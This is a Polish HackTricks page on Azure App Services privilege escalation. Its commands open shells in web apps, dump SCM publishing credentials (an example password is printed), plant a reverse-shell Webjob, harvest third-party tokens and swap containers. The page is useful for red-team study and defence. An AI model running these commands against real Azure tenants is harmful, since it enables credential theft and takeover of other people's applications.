Az - App Services Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
App Services
Aby uzyskać więcej informacji na temat usług Azure App, sprawdź:
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Te uprawnienia pozwalają uzyskać SSH shell wewnątrz aplikacji webowej. Pozwalają również na debugowanie aplikacji.
- SSH w pojedynczej komendzie:
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Utwórz tunel, a następnie połącz się z SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- Debuguj aplikację:
- Zainstaluj rozszerzenie Azure w VScode.
- Zaloguj się w rozszerzeniu za pomocą konta Azure.
- Wypisz wszystkie usługi aplikacji w subskrypcji.
- Wybierz usługę aplikacji, którą chcesz debugować, kliknij prawym przyciskiem myszy i wybierz “Rozpocznij debugowanie”.
- Jeśli aplikacja nie ma włączonego debugowania, rozszerzenie spróbuje je włączyć, ale Twoje konto musi mieć uprawnienie
Microsoft.Web/sites/config/write, aby to zrobić.
Uzyskiwanie poświadczeń SCM i włączanie uwierzytelniania podstawowego
Aby uzyskać poświadczenia SCM, możesz użyć następujących komend i uprawnień:
- Uprawnienie
Microsoft.Web/sites/publishxml/actionpozwala na wywołanie:
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Zauważ, że nazwa użytkownika jest zawsze taka sama (z wyjątkiem FTP, który dodaje nazwę aplikacji na początku), ale hasło jest takie samo dla wszystkich.
Ponadto, adres URL SCM to <app-name>.scm.azurewebsites.net.
- Uprawnienie
Microsoft.Web/sites/config/list/actionpozwala na wywołanie:
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Zauważ, że poświadczenia są takie same jak w poprzedniej komendzie.
- Inną opcją byłoby ustawienie własnych poświadczeń i ich użycie:
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
Następnie możesz użyć tych poświadczeń do uzyskania dostępu do platform SCM i FTP. To również świetny sposób na utrzymanie trwałości.
Pamiętaj, że aby uzyskać dostęp do platformy SCM z sieci, musisz uzyskać dostęp do <SCM-URL>/BasicAuth.
Warning
Zauważ, że każdy użytkownik może skonfigurować swoje własne poświadczenia, wywołując poprzednie polecenie, ale jeśli użytkownik nie ma wystarczających uprawnień do uzyskania dostępu do SCM lub FTP, poświadczenia nie będą działać.
- Jeśli widzisz, że te poświadczenia są REDACTED, to dlatego, że musisz włączyć opcję podstawowej autoryzacji SCM i do tego potrzebujesz drugiego uprawnienia (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
Publikowanie kodu za pomocą poświadczeń SCM
Mając ważne poświadczenia SCM, możliwe jest publikowanie kodu w usłudze App. Można to zrobić za pomocą następującego polecenia.
W tym przykładzie Pythona możesz pobrać repozytorium z https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, wprowadzić dowolne zmiany, a następnie spakować je, uruchamiając: zip -r app.zip ..
Następnie możesz opublikować kod w aplikacji internetowej za pomocą następującego polecenia:
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
Wspomniane uprawnienie Azure pozwala na wykonanie kilku interesujących działań, które można również wykonać za pomocą poświadczeń SCM:
- Odczyt logów Webjobs:
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Przeczytaj kod źródłowy Webjobs:
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Utwórz ciągły Webjob:
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Te uprawnienia pozwalają na przypisanie zarządzanej tożsamości do usługi App, więc jeśli usługa App została wcześniej skompromitowana, to pozwoli to atakującemu na przypisanie nowych zarządzanych tożsamości do usługi App i eskalację uprawnień do nich.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
To uprawnienie pozwala na wylistowanie connection strings i appsettings usługi App, które mogą zawierać wrażliwe informacje, takie jak dane uwierzytelniające do bazy danych.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Odczytaj skonfigurowane dane uwierzytelniające stron trzecich
Uruchamiając następujące polecenie, można odczytać dane uwierzytelniające stron trzecich skonfigurowane w bieżącym koncie. Należy zauważyć, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
Oto kilka przykładów poleceń do sprawdzenia tokenów:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Aktualizacja kodu aplikacji ze źródła
- Jeśli skonfigurowane źródło to dostawca zewnętrzny, taki jak Github, BitBucket lub Azure Repository, możesz zaktualizować kod usługi aplikacji, kompromitując kod źródłowy w repozytorium.
- Jeśli aplikacja jest skonfigurowana za pomocą zdalnego repozytorium git (z nazwą użytkownika i hasłem), możliwe jest uzyskanie URL i podstawowych poświadczeń autoryzacyjnych do klonowania i wprowadzania zmian za pomocą:
- Używając uprawnienia
Microsoft.Web/sites/sourcecontrols/read:az webapp deployment source show --name <app-name> --resource-group <res-group> - Używając uprawnienia
Microsoft.Web/sites/config/list/action: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"- Jeśli aplikacja jest skonfigurowana do używania lokalnego repozytorium git, możliwe jest sklonowanie repozytorium i wprowadzenie zmian:
- Używając uprawnienia
Microsoft.Web/sites/sourcecontrols/read: Możesz uzyskać URL repozytorium git za pomocąaz webapp deployment source show --name <app-name> --resource-group <res-group>, ale będzie to ten sam URL SCM aplikacji z ścieżką/<app-name>.git(np.https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git). - Aby uzyskać poświadczenia SCM, potrzebujesz uprawnienia:
Microsoft.Web/sites/publishxml/action: Następnie uruchomaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.Microsoft.Web/sites/config/list/action: Następnie uruchomaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
Warning
Zauważ, że posiadanie uprawnienia
Microsoft.Web/sites/config/list/actionoraz poświadczeń SCM zawsze umożliwia wdrożenie do webapp (nawet jeśli był skonfigurowany do używania dostawcy zewnętrznego), jak wspomniano w poprzedniej sekcji.
Warning
Zauważ, że posiadanie poniższych uprawnień również umożliwia wykonanie dowolnego kontenera, nawet jeśli webapp był skonfigurowany inaczej.
Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read
To zestaw uprawnień, który pozwala na modyfikację kontenera używanego przez webapp. Napastnik mógłby to wykorzystać, aby sprawić, że webapp wykona złośliwy kontener.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

